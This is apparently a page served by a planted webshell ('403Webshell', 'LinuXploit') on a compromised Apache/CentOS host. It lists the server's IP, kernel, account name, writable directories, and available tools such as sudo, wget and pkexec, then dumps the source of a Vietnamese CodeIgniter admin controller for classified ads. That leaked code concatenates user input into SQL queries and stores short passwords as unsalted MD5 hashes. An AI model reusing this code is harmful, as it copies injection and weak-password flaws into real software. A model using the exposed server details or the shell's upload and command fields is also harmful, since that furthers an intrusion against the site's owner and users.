403Webshell
Server IP : 103.48.194.25  /  Your IP : 216.73.216.44
Web Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.33
System : Linux VMHostDefault 3.10.0-1160.42.2.el7.x86_64 #1 SMP Tue Sep 7 14:49:57 UTC 2021 x86_64
User : sieuthimay ( 1016)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/hocthongminh.net-bk/public_html/webadmin/components/robot/controllers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/hocthongminh.net-bk/public_html/webadmin/components/robot/controllers/raovat.php
<?php if ( ! defined('BASEPATH')) exit('No direct script access allowed');
class Raovat extends MX_Controller
{
	public $_module_name = "";
	function __construct()
	{
		parent::__construct();
		$this->_module_name = $this->router->fetch_module();
		$this->load->helper('auto');
		$this->load->model('raovat_model','raovat');
		$this->pre_message = "";
		
		$this->permit_library->check_permit(1);
		$this->session->set_userdata(array('Url'=>uri_string())); 
	}
	
	function index($class_id=0,$bl_active=0,$start=0)
	{
		
		$data['title'] = 'Danh sách sản phẩm';
		$data['add'] = 'raovat/add';
		
		/*Begin search*/
		$type = $this->input->post('type');
        $current_router = $this->router->fetch_class();
        if($this->session->userdata('current_router')&&$this->session->userdata('current_router')!= $current_router){
            $this->session->set_userdata('key_search','');
        }
        $this->session->set_userdata('current_router',$current_router);

        $data['search_bar']=searchBar(array(),array(
			'email'=>'Email',
			'username'=>'FullName',
			'subject'=>'Subject',
			'lb_content'=>'Content',
			'metakey'=>'Keyword',
			'nb_phone'=>'Phone'
		),'raovat/index');
		
        if($type=='ajax')
        {
            $arr_search['key_search'] = $this->input->post('key_search');
            $arr_search['field_search'] = $this->input->post('field_search');
            $this->session->set_userdata('key_search',$arr_search['key_search']);
            $this->session->set_userdata('field_search',$arr_search['field_search']);
        }
        else
		{
            $arr_search['key_search']= $this->session->userdata('key_search');
            $arr_search['field_search']= $this->session->userdata('field_search');
        }
        /*End  search*/
		
		// phan trang
		$config['base_url'] = site.$this->_module_name.'/raovat/index/'.$class_id.'/'.$bl_active;  
		$config['total_rows']   =  $this->raovat->get_total_raovat($class_id,$bl_active,$arr_search);
		$data['num'] = $config['total_rows'];
		$config['per_page']  	= 150;
		$config['uri_segment'] 	= 6; 
		$config['num_links']  	= 30;
		$this->pagination->initialize($config);
		$data['pagination']    = $this->pagination->create_links();           
		
		// lay data va hien thi danh sach
		$data['list'] = $this->raovat->get_all($class_id,$bl_active, $config['per_page'], $start,$arr_search);
		$data['list_class'] = $this->classname->get_all();
		//trit($data['list']);
		$data['class_id'] = $class_id;
		$data['bl_active'] = $bl_active ;
		
		$data['page'] = 'raovat/index' ;
        if($type=="ajax")
            $this->load->view($data['page'],$data);
		else
			$this->load->view('layout/skin', $data);
	}
	
	function add()
	{
		$data['title'] = 'Thêm mới sản phẩm';
		
		if(isset($_POST['bt_submit']))
		{
				$post =  $this->get_form() ;
				
				$content = $this->input->post('content');
				$arr_content = explode("\n",$content);

				foreach ($arr_content as $row) :
					
					if(!empty($row))
					{
						$post['lb_name'] = $row ;
						$post['lb_code'] = trim(str_replace("Riso ","", $row));		//trit($post);
						
						$this->raovat->save("modern", $post);
					}
				endforeach ;
		}
		
		$data['list_trade'] = $this->raovat->get_all_trade();
		$data['list_cat'] = $this->raovat->get_all_cat();
		
		$data['message'] = $this->pre_message;
		$data['page'] = 'raovat/add';
		$this->load->view('layout/skin',$data);
	}
	
	function get_form()
	{
		$req['trade_id'] = (int) $this->input->post('trade_id');
		$req['cat_id'] = $this->input->post('cat_id');
		$req['nb_order'] = (int) $this->input->post('nb_order');
		$req['bl_active'] = 1 ; //(int) $this->input->post('bl_active');
		$req['dt_create'] = date('Y-m-d H:i:s') ;
		
		return $req ;
	}
	
	function edit($raovat_id=0,$start=0)
	{
		$data['rs'] = $this->raovat->get_raovat_by_id($raovat_id);
		$data['title'] = 'Cập nhật sản phẩm '.$data['rs']->lb_subject;
		
		$data['category'] = $this->raovat->get_all_class();
		$data['town'] = $this->raovat->get_all_town();
		
		if(isset($_POST['bt_submit']))
		{
			$this->form_validation->set_rules('lb_subject','Chủ đề','trim|required');
			if($this->form_validation->run())
			{
				$post =  $this->get_form() ;
				if($this->raovat->save($post, $raovat_id))
				{
					$this->session->set_flashdata('message','Lưu thành công');
					redirect($this->_module_name.'/raovat/index/0/0/'.$start);
				}
				else
				{
					$this->pre_message ="Lưu không thành công";
				}    
			}
		}
		$data['page'] = 'raovat/edit';
		$this->load->view('layout/skin',$data);
	} 
	
	function view($raovat_id=0)
	{
		$data['rs'] = $this->raovat->get_raovat_by_id($raovat_id);
		$this->load->view('raovat/view',$data);
	} 
	
	
	function del($id=0,$class_id=0,$page=0)
	{
		//xóa các tin 3 tháng trước
		$this->raovat->remove();
		
		$req['bl_active'] = -1 ;
		$req['dt_modify'] = date("Y-m-d H:i:s") ;
		if($this->raovat->save($req,$id))
			$this->session->set_flashdata('message','Đã xóa thành công');
		else 
			$this->session->set_flashdata('message','Xóa không thành công');
			
		redirect('auto/raovat/index');          
	}  
	
	function dels()
	{
		$page = (int)$this->input->post('page');
		$class_id = (int)$this->input->post('class_id');

		if(!empty($_POST['ar_id']))
		{
			$ar_id = $this->input->post('ar_id');
			if(!empty($_POST['btn_submit']))
			{
				$req['bl_active'] = -1 ;
				$req['dt_modify'] = date("Y-m-d H:i:s") ;
				for($i = 0; $i < sizeof($ar_id); $i ++)
				{
					if ($ar_id[$i])
					{
						if($this->raovat->del($ar_id[$i]))
							$this->session->set_flashdata('message','Đã xóa thành công');
						else $this->session->set_flashdata('message','Xóa không thành công');
					}
				}
			}
		}              
		redirect($this->_module_name.'/raovat/index/'.$class_id.'/'.$page); 
	}
	
	public function count_news($member_id=0)
	{
		if($member_id)
		{
			$rs = $this->raovat->count_news($member_id);
			if($rs->num > 0)
			{
				$req['nb_news'] = $rs->num;
				$this->load->model('user/user_model','user');
				$this->user->save('member',$req,'member_id',$member_id);
			}
			$res['code'] = 1 ;
			$res['num'] = $rs->num ; 
			$res['msg'] = 'Cập nhật thành công '.$member_id." : " .$rs->num ;
			echo json_encode($res) ;
		}
		else
		{
			$res['code'] = 0 ; 
			$res['msg'] = 'Vui lòng cho biết member_id' ;
			echo json_encode($res) ;
		}
	}
	
	function copyrow()
	{
        $this->load->helper('img_helper');
        if(!empty($_POST['ar_id']))
        {
            $page = (int)$this->input->post('page');
            $ar_id = $this->input->post('ar_id');
            if(!empty($_POST['btn_copy']))
            {
                for($i = 0; $i < sizeof($ar_id); $i ++)
				{
                    if ($ar_id[$i])
					{
                        //Begin copy
                        $id= $ar_id[$i];
                        $rs_news= $this->raovat->get_id('auto_raovat','raovat_id',$id); 
                        if($rs_news)
						{
							//check title exist
							$rs = $this->raovat->get_id('raovat','lb_subject',$rs_news->lb_subject); 
							if(empty($rs))
							{
								$img_name = '';
								//download picture
								if($rs_news->lb_image)
								{
									$info = array();
									$upload_to = ROOT_IMG."temp/";
									$links = $rs_news->website.$rs_news->lb_image ; 
									$oimg = new download_image($upload_to,"","");        
									$info = $oimg->get_img($links);
									
									$img_name = $info['name'] ;
									fn_resize_image(ROOT_IMG.'temp/'.$img_name,ROOT_IMG.'raovat/'.$img_name, 63, 45); 
									$this->resize(ROOT_IMG.'temp/'.$img_name, ROOT_IMG.'raovat/500x345/'.$img_name, 300) ;
								}
								//copy data to online
								$data['member_id']		= $rs_news->member_id;
								$data['class_id']		= $rs_news->class_id;
								$data['lb_subject']		= $rs_news->lb_subject;
								$data['lb_content']		= $rs_news->lb_content;
								$data['metakey']		= $rs_news->metakey;
								$data['lb_image']		= $img_name;
								$data['town_id']		= $rs_news->town_id;
								$data['dt_create']		= $rs_news->dt_create;
								$data['dt_modify']		= $rs_news->dt_modify;
								$data['bl_active']		= $rs_news->bl_active;
								$ctent_id = $this->common->save("raovat",$data);	//trit($ctent_id);
							}
                        }
						//after copy will delete this news 
						$this->common->del("auto_raovat","raovat_id",$ar_id[$i]);
						//count number news of user
						$this->count_news_member($rs_news->member_id);
                        //End copy
                    }
                }
            }
        }
        redirect($this->_module_name.'/raovat/index'); 
    }
	
	function count_news_member($member_id=0)
	{
		$sql= "select count(*) as num from raovat where member_id='".$member_id."'";
		$query = $this->db->query($sql);
		$rs = $query->row();
		
		$sql_update = "update member set nb_news='".$rs->num."' where member_id='".$member_id."'";
		$this->db->query($sql);
	}
	
	function check_copy()
	{
        $arr_title=array();
        if(!empty($_POST['ar_id']))
        {
            $arr_id = $this->input->post('ar_id');
            if(count($arr_id)>0)
			{
                $list=$this->raovat->get_content_copy($arr_id);
                foreach ($list as $row)
				{
                    $rs=$this->raovat->check_content_exist($row->lb_subject);
                    if(count($rs)>0){
                        array_push($arr_title, $row->lb_subject);
                    }
                }
            }
        }
        echo json_encode($arr_title);
    }
	
	public function create_member($raovat_id=0)
	{
		$lb_email = $this->input->post('lb_email');
		$rs = $this->raovat->chkemail($lb_email);
		$password = substr(uniqid(md5(time())), 0, 6) ;
		$code = md5($lb_email.time()) ;
		if(empty($rs))
		{
			$req['lb_email'] = $lb_email ;
			$req['username'] = get_username($lb_email);
			$req['password'] = md5($password);
			$req['dt_create'] = date('Y-m-d H:i:s') ;
			$req['code'] = $code ;
			$req['is_company'] = 0;
			$req['bl_active'] = 1 ;
			$member_id = $this->common->save('member',$req);
			if($member_id)
			{
				$res['member_id'] = $member_id ;
				if($raovat_id) $this->common->save('auto_raovat',$res,'raovat_id',$raovat_id);
				//goi mail thong bao tao user
				$link = domain."kich-hoat/".$code;
				alert_new_member($link,$req['lb_email'],$req['username'],$password) ;
			}
		}
		else
		{
			$res['member_id'] = $rs->member_id ;
			if($raovat_id) $this->common->save('auto_raovat',$res,'raovat_id',$raovat_id);
		}
		//trit($rs);
		redirect($this->_module_name.'/raovat/index'); 
	}
	
	function resize($src, $desc, $width)
	{
		$this->load->library('ResizeImg');
		$this->resizeimg->load($src);
		$this->resizeimg->resizeToWidth($width);
		$this->resizeimg->save($desc);
	}
}
?>

Youez - 2016 - github.com/yon3zu
LinuXploit